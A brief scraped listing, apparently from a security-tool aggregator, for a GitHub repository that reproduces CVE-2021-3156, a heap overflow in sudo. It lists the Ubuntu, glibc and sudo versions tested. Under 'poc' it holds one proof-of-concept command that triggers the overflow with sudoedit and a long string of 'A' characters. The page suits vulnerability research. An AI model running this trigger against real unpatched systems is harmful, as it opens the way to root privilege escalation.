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CVE-2021-3156 — 复现别人家的CVEs系列 | Kitploit
Tools/GitHubGitHub/q4n/cve-2021-3156
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubq4n/cve-2021-3156

CVE-2021-3156

复现别人家的CVEs系列

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22425 years agoNot yet reviewed

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CVE-2021-3156

nss_load_library ver

root@kitploit:~
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 20.04 LTS
Release:	20.04
Codename:	focal

GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9) stable release version 2.31.

Sudo 版本 1.8.31
Sudoers 策略插件版本 1.8.31
Sudoers 文件语法版本 46
Sudoers I/O plugin version 1.8.31

poc

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`
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